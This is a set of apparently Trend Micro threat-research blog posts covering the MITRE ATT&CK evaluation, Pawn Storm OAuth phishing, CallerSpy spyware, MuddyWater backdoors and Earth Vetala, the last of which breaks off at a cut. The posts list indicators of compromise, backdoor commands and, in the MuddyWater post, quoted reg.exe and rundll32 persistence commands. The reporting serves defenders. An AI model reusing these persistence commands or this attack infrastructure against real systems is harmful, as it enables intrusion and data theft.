Share your thoughts in the comments below or follow me on Twitter to continue the conversation: @JonLClay.
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The MITRE ATT&CK® knowledge base is an extremely valuable tool that helps drive advancement and alignment throughout the cybersecurity industry.
It has standardized the interpretation of an attacker’s approach and provided a common language to describe threat group behaviours.
Evaluations conducted by MITRE Engenuity don’t generate any scores, rankings or ratings.
Instead, businesses are shown in full transparency how a vendor can help detect attacks from certain threat groups.
By aligning to the ATT&CK framework, these evaluations provide a complete story of the attack.
Security teams can leverage the MITRE ATT&CK framework to tell a story that helps simplify security communication across their organization.
The framework also provides security teams increased coverage visibility.
A security professional can leverage MITRE ATT&CK to audit for coverage gaps to discover where they may be vulnerable to threats.
From there they can use the evaluations to compare vendors and determine which solutions are best suited to fill this gap.
The increase in visibility can also help identify coverage overlaps that could be adjusted to optimize cost.
For all the benefits MITRE ATT&CK delivers, it is a pretty dense amount of information to sort through and interpret, so we wanted to help break down the evaluation.
However, before we get into the actual evaluation breakdown of what each phase analyzes and highlights, it is important to understand this year’s attack scenarios.
The MITRE Engenuity ATT&CK Evaluations builds their simulations based on real world advanced persistent threat (APT) attacks, simulating the tradecraft and operational flows of specific adversary threat groups.
This year the evaluation separately simulated two financially motivated threat groups that use similar behaviors, Carbanak on day 1 and FIN7 on day 2 which in total included over 174 steps.
MITRE Engenuity ATT&CK Evaluations tests a solution’s ability to detect an adversary performing a targeted attack.
This means that unlike traditional testing, MITRE Engenuity is solely focused on the product’s detection capabilities after a compromise has occurred.
However, this year, an optional evaluation was run to test a product’s ability to block/prevent an attack, validating how effective a product is at detecting an on-going threat and stopping it in its track before further damage occurs.
The Compromise: Tricking the Target
The MITRE Engenuity ATT&CK Evaluations story begins with an integral manager, whether at the bank or hotel, being compromised.
The simulated attackers sent a spear phishing email with a malicious attachment to the manager with the goal of tricking them into opening it, as this technique relies upon user execution.
When the manager opened the attachment, initial access was granted to the threat group.
Figure 1 - A Technique detection named "User Execution of Office Related Document" was generated when explorer.exe spawned winword.exe when the user clicked 2-list.rtf.
Maintaining Access: The Leg Work
Now that the threat group has been granted access to the organization’s network, they must collect the necessary information needed to complete their objective.
There are several tactics used throughout the attacker’s journey.
They maintain access and avoid detection through persistence and defense evasion techniques.
Figure 2 - A Technique detection named "Clipboard Data or Screenshot Collection via PowerShell" was generated when powershell.exe executed CopyFromScreen().
The adversary uses privilege escalation, which commonly involves taking advantage of pre-existing system weaknesses, misconfigurations, and vulnerabilities to gain higher permissions.
From here the threat actor will access and collect credentials and work to discover the right systems to target to complete their objective.
Figure 3 - Workbench results pulling together a chain of attack involved Credential Dumping using Mimikatz Malware.
The two groups in question are both financially motivated, so they’re looking for information that can give them the highest dollar value when resold.
Historically, Carbanak and Fin7 have targeted personally identifiable information (PII) and credit card information for resale.
Lateral Movement: Moving in for the Kill
The threat group will use lateral movement techniques to locate the targeted system that they will take control of for fraud or to steal data that they can sell for financial profit.
This is a critical point in attack detection.
If the threat actors are still living in your network and moving laterally, data correlation across the environment is crucial in connecting the dots and weeding out the attacker before their final steps.
Figure 4 - Workbench models showing correlated events ready for further investigation.
Trend Micro Vision One is great for this step.
Automatically correlating threat data from different areas of the network and endpoint provides better alerts to security teams.
We don’t just tell you these individual events have all occurred – we connect the dots for you, showing that they might be related and have similar indicators of compromise as a certain attack group or type.
So let’s summarise the story of the evaluation:
The first advanced attack was from the Carbanak Group who were targeting a bank, which is one of the popular targets for this group.
The attack started with compromising the HR Manager, moving laterally to locate the CFO’s system from which collection of sensitive data and spoof money transfers being carried out.
Figure 5 - Carbanak evaluation environment with Trend Micro solution placement for both detection and prevention scenarios.
The second simulation was a staged attack was from the Fin7 group who launched an attack on a Hotel chain in which they compromised the Hotel Manager who silently maintained access until credentials were collected and a new victim systems was discovered, from there moving laterally to an IT admin system, pivoting to an accounting system and setting up persistence to skim customer payment data information.
Figure 6 - FIN7 evaluation environment with Trend Micro solution placement for both detection and prevention scenarios.
In the third scenario, the evaluation simulated 10 attack scenarios involving 96 tests, playing out to test the advanced prevention controls used in rapidly reducing exposure and allowing you to respond to less common threats.
Think of it like locking your front door instead of relying on a CCTV system to record someone stepping right in.
Ensuring prevention controls are in place alongside detection is a key tenant to depend on to prevent and detect advanced threats like these.
Figure 7 - Blocking early prevents the rest of the attack from spreading.
What Does it Mean for Me?
This is where Trend Micro’s 30+ years of data and threat research become a major value add allowing you to bring all the telemetry together to clearly tell the story of an attack.
Trend Micro Vision One platform can help customers like you deliver impressive results:
96% of attack coverage to provide visibility of 167 out of 174 simulated steps across the evaluations.
This broad visibility allows customers to build a clear picture of the attack and respond faster.
With Linux gaining huge popularity amongst many organizations, especially moving to the cloud, 100% of attacks against the Linux host were detected, capturing 14/14 attacker steps.
139 pieces of telemetry were enriched by the Trend Micro Vision One platform to provide extremely effective threat visibility to better understand and investigate attacks.
90% of attack simulations were prevented through automated detection and response very early on in each test.
Deflecting risk early on frees up investigation resources, allowing teams to focus on the harder security problems to solve.
What else do I need to consider?
When evaluating the performance of vendors, it is important to consider the hierarchy of detection types.
There are 5 types identified by MITRE ATT&CK:
None: While no detection information is given, None doesn’t mean that no detection occurred.
Rather, it means it did not meet the required detection criteria set by MITRE Engenuity.
Telemetry: Data was processed that shows an event occurred related to the process being detected.
General: A general detection indicates that something was deemed suspicious, but it was not assigned to a specific tactic or technique.
Tactic: A detection on tactic means the detection can be attributed to a tactical goal (e.g.
credential access).
Technique: A detection on technique means the detection can be attributed to a specific adversarial action (e.g.
credential dumping).
Results that are categorized as a detection type of general, tactic and technique reflect enriched data, which is a good thing.
Since these detections such as the individual MITRE ATT&CK technique, and associated tactic can be used to tell the detailed story of the attack.
This has resulted in a general understanding that general, tactic and technique detections are one of the priorities across vendors.
Tactics are similar to a chapter of a book.
A CISO can outline a story they want to tell with the high-level tactics used in an attack and then refer to the techniques to tell the story of how they accomplished the attack which provides extra detail.
Figure 8 - Carbanak and FIN7 evaluation, 65 ATT&CK techniques across 11 ATT&CK tactics are in scope for this evaluation.
So, when evaluating vendors, the most important detection type to weigh is the number of general, tactics and techniques detected.
Telemetry also gives security analysts access to the raw footprints that provide increased depth of visibility they need when looking into detailed attacker activity across assets.
Again, it’s not only important to have access to the data, but to make sense of the data.
Trend Micro doesn’t leave that responsibility wholly on you.
We start the data correlation process for you to make a larger attack campaign more apparent.
You also have the option to further explore relationships to the MITRE ATT&CK framework or get more information on specific attack types and groups from the platform.
Figure 9 - Some organizations may want telemetry, while others would want Technique detection.
During the simulation, the Trend Micro Vision One platform detected both attacks successfully with complete visibility across the environment allowing centralized detection and investigation.
Collecting over 167 pieces of telemetry and correlating these back to over 139 pieces of enriched data allowing the team to paint a clear story of exactly what the attackers were trying to achieve.
A separate third round was conducted to test prevention controls that are used to prevent risk in the environment.
This was an optional protection scenario in which 17 of the 29 vendors participated, including Trend Micro.
For this specific test, Trend Micro performed exceptionally with the ability to block 90% of simulations automatically.
Another added element this year which deserves a special mention was the introduction of a Linux servers, where we detected all 14 techniques executed in the simulated attack scenario.
We are always happy to participate in MITRE Engenuity ATT&CK Evaluations to test our products against rigorous attacks.
Check out the complete results and more information on Trend Micro Vision One here: https://resources.trendmicro.com/MITRE-Attack-Evaluations.html.
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Articles, News, Reports
Pawn Storm is an active and aggressive espionage actor group that has been operating since 2004.
The group uses different methods and strategies to gain information from their targets, which are covered in our latest research.
However, they are particularly known for dangerous credential phishing campaigns.
In 2016, the group set up aggressive credential phishing attacks against the Democratic National Convention (DNC), German political party Christian Democratic Union (CDU), the parliament and government of Turkey, the parliament of Montenegro, the World Anti-Doping Agency (WADA), Al Jazeera, and many other organizations.
This blog post discusses how Pawn Storm abused Open Authentication (OAuth) in advanced social engineering schemes.
High profile users of free webmail were targeted by campaigns between 2015 and 2016.
How is OAuth abused?
OAuth is a way of authorizing third party applications to login to users’ online accounts for social media sites, gaming sites, and services like free webmail.
The big advantage is that users don’t have to reveal their password; instead, the third party applications get a token that can be used for authentication.
While OAuth offers convenience and can be usefully applied in different ways, it may also expose the user to risks.
Threat actors can get through the background checks that service providers do before authorizing applications for OAuth use.
These actors can then integrate OAuth into advanced social engineering schemes.
Some internet service providers only require an email address and a website for third party applications to use OAuth.
Because of these policies, experienced actor groups like Pawn Storm can take advantage of OAuth for their credential phishing schemes.
Figure 1.
The sequence of Pawn Storm's OAuth abuse
A dissection of Pawn Storm OAuth attacks
In these attacks a user would get a message like this:
Figure 2.
A phony email from Pawn Storm
The email poses as an advisory from Gmail and prompts potential victims to install an “official” application called “Google Defender”.
Normally an internet user will know better than to readily install an application that wasn't asked for.
If the user clicks on the link, it will lead to a page on accounts.google.com that looks like this:
Figure 3.
A request to grant access from “Google Defender”
At this point, the user is faced with a legitimate Google site—since all OAuth approvals are done on the site of the service provider—but the application itself is part of a phishing scheme.
“Google Defender” is actually a third party application made by Pawn Storm.
After abusing the screening process for OAuth approvals, Pawn Storm’s rogue application operates like every other app accepted by the service provider.
If the user falls for the scam and clicks the “Allow” button, an OAuth token is provided to the app, giving Pawn Storm semi-permanent access to the target’s mailbox.
Apart from targeting Gmail users, Pawn Storm has also abused OAuth in credential phishing attacks against high profile Yahoo users.
Here is an example from 2015 where “McAfee Email Protection” is offered.
Figure 4.
A convincing Yahoo phishing email
Clicking on the “Try McAfee Email Protection” button would lead to this legitimate website:
Figure 5.
This gives the third party app OAuth access
However the application is not a service of Yahoo or a legitimate product of McAfee, but a rogue application used by Pawn Storm.
Clicking on the “Agree” button would give Pawn Storm an OAuth token and access to the targets’ mailbox.
The group then gains access to the mailbox until the token gets revoked by the service provider or the target.
Pawn Storm apparently had some success with this type of attack as it kept sending this kind of social lure during the end of November and the first half of December 2015, as indicated in the next figure.
Figure 6.
Overview of Pawn Storm’s Yahoo credential phishing campaigns.
The blue boxes indicate when Pawn Storm used OAuth lures while red boxes indicate other phishing email strategies
OAuth enhances the user experience on the web.
For example, by allowing social networks access to your webmail contact list, it is easier to find friends who are subscribed to the same social network.
But while we believe that internet service providers have enhanced security checks of applications that are allowed to use OAuth, internet users are urged to never accept OAuth token requests from an unknown party or a service they did not ask for.
Regularly review the applications you have granted access to your mailbox in the security settings of your free webmail or social media service.
In case you see a suspicious application immediately revoke the OAuth token.
These are known rogue applications of Pawn Storm that have been used in credential phishing attacks against high profile users (variants of these names are likely to have been used by Pawn Storm as well):
Google Defender
Google Email Protection
Google Scanner
Delivery Service (Yahoo)
McAfee Email protection (Yahoo)
For more information about Pawn Storm, check out From Espionage to Cyber Propaganda: Pawn Storm's Activities over the Past Two Years.
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Web
We found a new spyware family disguised as chat apps on a phishing website.
We believe that the apps, which exhibit many cyberespionage behaviors, are initially used for a targeted attack campaign.
We first came across the threat in May on the site http://gooogle[.
]press/, which was advertising a chat app called “Chatrious.” Users can download the malicious Android application package (APK) file by clicking the download button indicated on the site.
The website became inactive for months after that encounter in May.
We only noticed that it came back in October, this time with a different app called “Apex App.” We have identified this as a spyware family that can steal user’s personal information.
Trend Micro detects both of the threats as AndroidOS_CallerSpy.HRX.
Figure 1.
Screenshots of Chatrious (left) and Apex App (right)
Behavior analysis
CallerSpy claims it’s a chat app, but we found that it had no chat features at all and it was riddled with espionage behaviors.
When launched, CallerSpy initiates a connection with the C&C server via Socket.IO to monitor upcoming commands.
It then utilizes Evernote Android-Job to start scheduling jobs to steal information.
Figure 2.
CallerSpy initiates C&C connection (left) and then starts scheduling jobs (right)
CallerSpy sets several scheduling jobs to collect call logs, SMSs, contacts, and files on the device.
It also receives commands from the C&C server to take screenshots, which it later sends to the server.
Figure 3.
Scheduled jobs
Source
Command
alive_latest_files_watcher
Starts latest_files_watcher job and keeps it alive
enviorment_schedulers
Configures environment record module
keep_enviorment_scehdular_alive
Starts the enviorment_scehdular job and keeps it alive
keep_listener_alive
Starts listener job and keeps it alive
latest_files_watcher
Collects latest call logs, SMSs, contacts, and files
listeners
Updates configuration and takes a screenshot
record_enviorment
Records environment
remote_sync
Uploads privacy to the remote C&C server
sync_data_locally
Collects all call log, SMS, contacts, and files information on the device
Table 1.
Some of CallerSpy’s scheduling job tags
All of the stolen information are collected and stored in a local database before they’re uploaded to the C&C server periodically.
This spyware targets the following file types: jpg, jpeg, png, docx, xls, xlsx, ppt, pptx, pdf, doc, txt, csv, aac, amr, m4a, opus, wav, and amr.
Figure 4.
Privacy database
The screenshot gets captured when a command is received from the C&C server.
The screenshot image then gets encoded using Base64 and sent back to the server via a preconfigured Socket.IO connection.
Figure 5.
Monitor commands from C&C server (left), take and send the screenshot (right)
Infrastructure analysis
The domain gooogle[.
]press masquerades as Google to trick users into downloading the app.
The domain even goes into putting a supposed copyright detail at the bottom of the website.
Figure 6.
Fake copyright info
The attackers behind this campaign made an effort to hide their tracks.
Whois Lookup reveals that this domain was registered on February 11, 2019 at Namecheap.
However, we found that all the registrant data was untraceable.
It is important to note, however, that domain privacy protection is common among domains that Namecheap offers.
Figure 7.
gooogle[.
]press registration info
We did catch four C&C IP addresses, all hosted on a legitimate service.
We can only confirm that the C&C service uses Node.js on port 3000.
Initial phase of a bigger campaign
Based on the aforementioned clues and past findings, we believe that this is a new campaign.
There have been no detections for it on VirusTotal at the time of writing.
Figure 8.
VirusTotal scan result
The campaign’s target is still unclear because we have not seen actual victims.
We also conclude that this is the initial phase of an attack based on the following reasons:
CallerSpy, as it is now, could prove uneven for a targeted attack.
It has no user interface (UI), no real useful feature, and only implements espionage features.
It uses the default app icon and even is labeled as “rat.” We also found some debug code left in CallerSpy.
Figure 9.
CallerSpy icon and label (left), debug code (right)
Sample certification information indicates that it is only used for testing.
Figure 10.
Certification details
The download section of the webpage has three buttons indicating Apple, Android and Windows platforms, but it only supports Android for now.
Figure 11.
The app advertises to be available on different platforms
So far, our monitoring has not found any volume infection, which could mean that the threat actor may be waiting for a chance to spread the malware.
The malicious apps can be detected by Trend Micro solutions, such as the Trend Micro™ Mobile Security for Android™.
End users can also benefit from its multilayered security capabilities that secure the device owner’s data and privacy and safeguard them from ransomware, fraudulent websites, and identity theft.
For organizations, the Trend Micro Mobile Security for Enterprise suite provides device, compliance, and application management, data protection, and configuration provisioning.
It also protects devices from attacks that exploit vulnerabilities, prevents unauthorized access to apps, and detects and blocks malware and fraudulent websites.
Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerability.
Indicators of Compromise (IoCs)
SHA-256
Package name
Label
0c4b08bec1251b1ebc715a7ef1a712cdcb4d37ce0093d88f7fa73b0e05bf7b0e
com.sas.gplayservices.accesibility
GSERVICES
38acf26161a2c6429ee40d9b70d8419a9bd00eaa8740d221f943cea3229372dd
com.sas.gservices.accesibility
GSERVICES
3bf85d0aff5ddc0c57e43b879631ee692d98d01f5c964336471f1cdfe0d291f8
com.example.rat
rat
7cb0eb93de496e2141b6e0541465ca71a84063867381085692885c75aa59cb1b
com.pdf.searcher.dd
Pdf Searcher
8ad18bd8f5d2f1fd9e00211170e8a540ddf7f51618588fab31b4ddd2b34b75e1
com.pdfd.researcher.resaq_ver1
Caller
c8e1a702a27309c22728792c64aad4abc14ec2bfad1b30a4f27b8ebc6bcc68ff
com.sas.gservices.accesibility
GSERVICES
C&C servers
3.95.71.123:3000
18.206.105.66:3000
40.114.109.69:3000
52.21.5.241:2000
Phishing domain
http://gooogle[.
]press/
MITRE ATT&CK Techniques
Tactic
Technique
ID
Description
Initial Access
Masquerade as Legitimate Application
T1444
Used to masquerade as a legitimate chat app
Persistence
Abuse Device Administrator Access to Prevent Removal
T1401
Used to request device administrator privilege
Persistence
App Auto-Start at Device Boot
T1402
Used to listen for the BOOT_COMPLETED broadcast
Defense Evasion
Suppress Application Icon
T1508
Used to suppress its icon from being displayed to the user in the application launcher to hide the fact that it is installed
Discovery
File and Directory Discovery
T1420
Used to enumerate external storage file system
Discovery
Location Tracking
T1430
Used to track device’s location
Collection
Access Call Log
T1433
Used to gather call log data
Collection
Access Contact List
T1432
Used to gather contact list data
Collection
Capture Audio
T1429
Used to record audio information
Collection
Capture SMS Messages
T1412
Used to collect SMS messages
Collection
Data from Local System
T1533
Used to collect files from the device, including documents, photos, and  media files
Collection
Location Tracking
T1430
Used to track device’s location
Collection
Screen Capture
T1513
Used to take screenshot on the device
Exfiltration
Standard Application Layer Protocol
T1437
Used Standard HTTP Protocol
Command and Control
Uncommonly Used Port
T1509
Used uncommon ports 2000, 3000
Tags
Malware
|
APT & Targeted Attacks
|
Research
|
Mobile
|
Phishing
MuddyWater is a well-known threat actor group that has been active since 2017.
They target groups across Middle East and Central Asia, primarily using spear phishing emails with malicious attachments.
Most recently they were connected to a campaign in March that targeted organizations in Turkey, Pakistan, and Tajikistan.
The group has been quite visible since the initial 2017 Malwarebytes report on their elaborate espionage attack against the Saudi Arabian government.
After that first report, they were extensively analyzed by other security companies.
Through all that, we’ve only seen minor changes to the tools, techniques and procedures (TTPs) they have used.
However, we recently observed a few interesting delivery documents similar to the known MuddyWater TTPs.
These documents are named Raport.doc or Gizli Raport.doc (titles mean “Report” or “Secret Report” in Turkish) and maliyeraporti (Gizli Bilgisi).doc (“finance (Confidential Information)” in Turkish) — all of which were uploaded to Virus Total from Turkey.
Our analysis revealed that they drop a new backdoor, which is written in PowerShell as MuddyWater’s known POWERSTATS backdoor.
But, unlike previous incidents using POWERSTATS, the command and control (C&C) communication and data exfiltration in this case is done by using the API of a cloud file hosting provider.
The screenshots below show the malicious attachments, which are disguised to look real, similar to any typical phishing document.
The images show blurry logos that we’ve identified as belonging to various Turkish government organizations — the logos add to the disguise and lure users into believing the documents are legitimate.
Then the document notifies users that it is an “old version” and prompts them to enable macros to display the document properly.
If the targeted victims enable macros, then the malicious process continues.
Figure 1.
Fake Office document tries to get user to enable malicious macros.
The blurred document contains logos of different Turkish government entities
Figure 2.
A similar fake Office document has blurred logos for a Turkish government institution related to taxes
The macros contain strings encoded in base52, which is rarely used by threat actors other than MuddyWater.
The group is known to use it to encode their PowerShell backdoor.
After enabling macros, a .dll file (with a PowerShell code embedded) and a .reg file are dropped into %temp% directory.
The macro then runs the following command:
"C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe IMPORT %temp%\B.reg
Running this registry file adds the following command to the Run registry key:
rundll32 %Temp%\png.dll,RunPow
Figure 3.
Run registry key
We assume that RunPow stands for “run PowerShell,” and triggers the PowerShell code embedded inside the .dll file.
The PowerShell code has several layers of obfuscation.
The first layer contains a long base64 encoded and encrypted code with variables named using English curse words.
Figure 4.
Encrypted PowerShell code
The other layers are simple obfuscated PowerShell scripts.
But the last layer is the main backdoor body.
This backdoor has some features similar to a previously discovered version of the Muddywater backdoor.
Firstly, this backdoor collects the system information and concatenates various pieces of information into one long string.
The data retrieved includes: OS name, domain name, user name, IP address, and more.
It uses the separator "::" between each piece of information.
Figure 5.
String of system information collected from the victim’s system
The previous MuddyWater version collected similar information but used a different separator:
Figure 6.
String of system information collected from the victim’s system, from older Muddywater backdoor sample
As mentioned above, another difference between this and older Muddywater backdoors is that C&C communication is done by dropping files to the cloud provider.
When we analyzed further, we saw that the communication methods use files named <md5(hard disk serial number)> with various extensions depending on the purpose of the file.
.cmd - text file with a command to execute
.reg - system info as generated by myinfo() function, see screenshot above
.prc - output of the executed .cmd file, stored on local machine only
.res - output of the executed .cmd file, stored on cloud storage
Figure 7.
Example of .cmd file content
Figure 8.
Example of .reg file content
Figure 9.Example of .res file content
In both the older version of the MuddyWater backdoor and this recent backdoor, these files are used as an asynchronous mechanism instead of connecting directly to the machine and issuing a command.
The malware operator leaves a command to execute in a .cmd file, and comes back later to retrieve the .res files containing the result of the issued command.
However, in the older MuddyWater backdoor their content was encoded differently.
The files are temporarily stored on compromised websites.
The more recent backdoor uses a legitimate cloud storage service provider instead.
The .res file can be decoded by replacing “00” with empty string, then converting from hex to ASCII, then reversing the string.
The figure below is the decoded .res file from Figure 9.
Figure 10.
Decoded .res file
The backdoor supports the following commands:
$upload - upload a file to file hosting service
$dispos - remove persistence
$halt - exit
$download - download file from a hosting service
No prefix - execute command via Invoke Expression (IEX), a PowerShell command that runs commands or expressions on the local computer
Based on our analysis, we can confirm that the targets were Turkish government organizations related to the finance and energy sectors.
This is yet another similarity with previous MuddyWater campaigns, which were known to have targeted multiple Turkish government entities.
If the group is responsible for this new backdoor, it shows how they are improving and experimenting with new tools.
Solutions and Recommendations
The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents.
It is important that employers and employees across all organizations and enterprises be able to identify phishing attacks and distinguish legitimate emails from malicious ones.
Awareness of these threats and the tactics they use is an effective first step.
Telltale signs of social engineering include “too-good-to-be-true” offers and messages that lack context.
In general, users should always practice caution when it comes to email.
This includes avoiding clicking on links or downloading any documents unless certain that these are legitimate.
Apart from knowledge and awareness of phishing and social engineering, it is also important to be prepared with effective and layered security solutions.
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware, and targeted attacks in real time.
It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern update.
Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.
Trend Micro™ Email Inspector and InterScan™ Web Security prevent malware from ever reaching end users.
At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of these attacks.
These solutions are powered by the Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.
It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads.
Indicators of Compromise
SHA256
Type
Detection Name
41ee0ab77b474b0c84a1c25591029533f058e4454d9f83ba30159cc6309c65d1
Delivery documents
W2KM_POWRUN.A
43080479eb1b00ba80c34272c5595e6ebdc6b0ffabcdc2c40ea2af49fcc43db4
Dropped DLL file
Backdoor.
Win32.POWRUN.AA
4f509354d8b3152a40c64ce61f7594d592c1256ad6c0829760b8dbdcb10579a2
Weaponized document
BACKDOOR.WIN32.POWRUN.AA
685e91bc4e98c38bda7c8e57d5d40a11e7cf48bb43859bb799813f0146a14fcf
Dropped DLL file
BKDR_POWRUN.B
888a6f205ac9fc40d4898d8068b56b32f9692cb75f0dd813f96a7bd8426f8652
Dropped DLL file
Trojan.W97M.POWRUN.AA
0acd10b14d38a4ac469819dfa9070106e7289ecf7360e248b7f10f868c2f373d
Dropped DLL file
BKDR_POWRUN.A
Tags
Cloud
|
Malware
|
APT & Targeted Attacks
|
Endpoints
|
Research
The MuddyWater campaign was first sighted in 2017 when it targeted the Saudi government using an attack involving PowerShell scripts deployed via Microsoft Office Word macro.
In March 2018, we provided a detailed analysis of another campaign that bore the hallmarks of MuddyWater.
In May 2018, we found a new sample (Detected as W2KM_DLOADR.UHAOEEN) that may be related to this campaign.
Like the previous campaigns, these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell (PS) scripts leading to a backdoor payload.
One notable difference in the analyzed samples is that they do not directly download the Visual Basic Script(VBS) and PowerShell component files, and instead encode all the scripts on the document itself.
The scripts will then be decoded and dropped to execute the payload without needing to download the component files.
As mentioned earlier, our analysis of the sample revealed characteristics that likely connect it to the MuddyWater campaign, in particular:
The delivery method, which involves the use of a malicious document with an embedded macro as a lure for potential victims
The obfuscation method for the macro scripts, which will result in an intended backdoor payload.
This method is commonly used in samples that were used in the MuddyWater campaign
Infection chain
Figure 1.
Comparison of the infection chains used in the previous and current campaigns
Technical details
The sample we analyzed was a Word document used as a lure for unsuspecting victims.
However, unlike the samples from the previous campaigns, the lure document deals with a different subject matter.
Instead of using government or telecommunications-related documents, the new lure document presents itself as a reward or promotion, which could indicate that the targets are no longer limited to specific industries or organizations.
Figure 2.
Sample lure document used in the new campaign
The document is designed to trick users into enabling the macro to view its full content.
However, the macro's true purpose is to allow it to execute malicious routines without the user’s knowledge.
Once the macro is enabled, it will use the Document_Open() event to automatically execute the malicious routine if either a new document using the same template is opened or when the template itself is opened as a document0.
Figure 3.
Executing the malicious routine via Document_Open()
The malicious macro's code snippet uses three main functions, specifically:
The function contained in the RED box is the Document_Open() event, where all the sub-functions will be executed/called.
The code inside the GREEN box manipulates the images shown in the document's body.
The code inside the BLUE box constructs the main Powershell commands and scripts.
These will be executed to perform the main routine.
Figure 4.
A snippet of the malicious macro’s code, marked with colored boxes to show the different functions
Decoding and deobfuscation
Analysis of the code revealed a PowerShell script capable of decoding the contents of the malicious document, which results in the execution of yet another encoded PowerShell script.
Figure 5.
The Powershell script contained in the sample's code
Figure 6.
The second encoded PowerShell script, which is executed after the first script is decoded
This will then result in more readable PowerShell scripts capable of dropping various components in the %Application Data%\Microsoft\CLR\* directory.
The main PowerShell file invoker.ps1 uses these components to run the final payload, PRB-Backdoor, previously analyzed by other security researchers in May 2018.
Figure 7: The components dropped in the %Application Data%\Microsoft\CLR\* directory
PRB-Backdoor is a backdoor that takes its name from the function used in the final PowerShell script payload, as seen in the figure below.
Figure 8.
The PS function from which PRB-Backdoor takes its name
The backdoor communicates with its Command-and-Control (C&C server), hxxp://outl00k[.
]net, to send and receive the following commands:
Command
Details
PRB-CREATEALIVE
Initializes connection with the C&C Server
PRB-CREATEINTRODUCE
Registers/introduces the affected machine to the C&C server
PRB-History
Gather browsing histories from different browsers and send it to the C&C server using the "sendfile" function
PRB-PASSWORD
Steals passwords listed or found in the browser histories
PRB-READFILE
Reads files
PRB-WRITEFILE
Writes files
PRB-Shell
Executes shell commands
PRB-Logger
Calls the "Logger" function, used to record keyboard strokes
PRB-Shot
Triggers the SNAP function, used to capture  screenshots
PRB-funcupdate
Updates functions
sysinfo
Gathers system information
Start_Dns
Initializes DNS Session/Connection
If these samples are indeed related to MuddyWater, this means that the threat actors behind MuddyWater are continuously evolving their tools and techniques to make them more effective and persistent.
Countermeasures and Trend Micro Solutions
Given the use of lure documents designed with social engineering in mind, it is likely that the attackers use phishing or spam to target users who are unaware of these documents' malicious nature.
Awareness can effectively mitigate or stop these kinds of attacks from being successful.
The first step is to be able to identify phishing attacks and distinguish legitimate emails from malicious ones.
Telltale signs of social engineering include “too-good-to-be-true” offers and messages that lack context.
In general, users should always practice caution when it comes to email.
This includes avoiding clicking on links or downloading any documents unless certain that these are legitimate.
Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware, and targeted attacks in real time.
It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern update.
Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.
Trend Micro™ Deep Discovery™ Email Inspector and InterScan™ Web Security prevent malware from ever reaching end users.
At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of these attacks.
These solutions are powered by the Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.
It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads.
Indicators of Compromise (IoCs)
Detected as W2KM_DLOADR.UHAOEEN - 240b7d2825183226af634d3801713b0e0f409eb3e1e48e1d36c96d2b03d8836b
Tags
APT & Targeted Attacks
|
Endpoints
|
Research
|
Articles, News, Reports
|
Network
Trend Micro researchers recently detected activity targeting various organizations in the Middle East and neighboring regions.
We were tipped off to this activity in part by research from Anomali, which also identified a campaign targeting similar victims.
We believe (with moderate confidence) that this newly identified activity is connected to MuddyWater (also known as TEMP.Zagros, Static Kitten, Seedworm).
Additionally, we were able to link the Anomali-identified activity to an ongoing campaign in 2021.
This campaign uses the following legitimate remote admin tools such as:
ScreenConnect
RemoteUtilities
We have named this intrusion set Earth Vetala.
Earth Vetala used spearphishing emails with embedded links to a legitimate file-sharing service to distribute their malicious package.
The links were embedded within lure documents as well as emails.
Once a victim was accessed, attackers would determine if the user account was an administrator or normal user.
They would then download post-exploitation tools that included password/process-dumping utilities, reverse-tunneling tools, and custom backdoors.
The threat actors would then initiate communications with additional command-and-control (C&C) infrastructure to execute obfuscated PowerShell scripts.
Overview
Analysis indicates the Earth Vetala campaign is ongoing and that this threat actor has interests which appear to align with Iran.
Earth Vetala historically targets countries in the Middle East.
In this campaign, Earth Vetala threat actors used spearphishing emails and lure documents against organizations within the United Arab Emirates, Saudi Arabia, Israel, and Azerbaijan.
The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool.
ScreenConnect is a legitimate application that allows systems administrators to manage their enterprise systems remotely.
Our research found threat indicators that were connected to the same campaign identified by Anomali.
Analysis indicates that Earth Vetala is still ongoing as of the publishing of this post.
During this campaign, threat actors used post-exploitation tools to dump passwords, tunnel their C&C communication using open-source tools, and use additional C&C infrastructure to establish a persistent presence within targeted hosts and environments.
Technical Analysis
During our research, we observed a spearphishing email allegedly from a government agency.
Figure 1.
Phishing Email with the embedded URL
The email attempts to convince recipients to click the URL and download a malicious file.
We have seen that one of two files may be downloaded, one being a .PDF file and the other an .RTF file.
As with the spearphishing email, the lure documents' content attempts to convince the victim to click on another malicious URL and download a .ZIP file.
The .ZIP file contains a copy of a legitimate remote administration software developed by RemoteUtilities and provides remote administration capabilities, including:
Downloading and uploading files
Grabbing screenshots
Browsing files and directories
Executing and terminating processes
During our research, we were able to discover multiple .ZIP files used to distribute the RemoteUtilities remote administration software in the manner above, with all of these distributing the same RemoteUtilities sample.
The use of this tool differentiates this particular campaign from earlier research, as in previous attacks ScreenConnect was used.
Otherwise, the TTPs in use remain broadly similar.
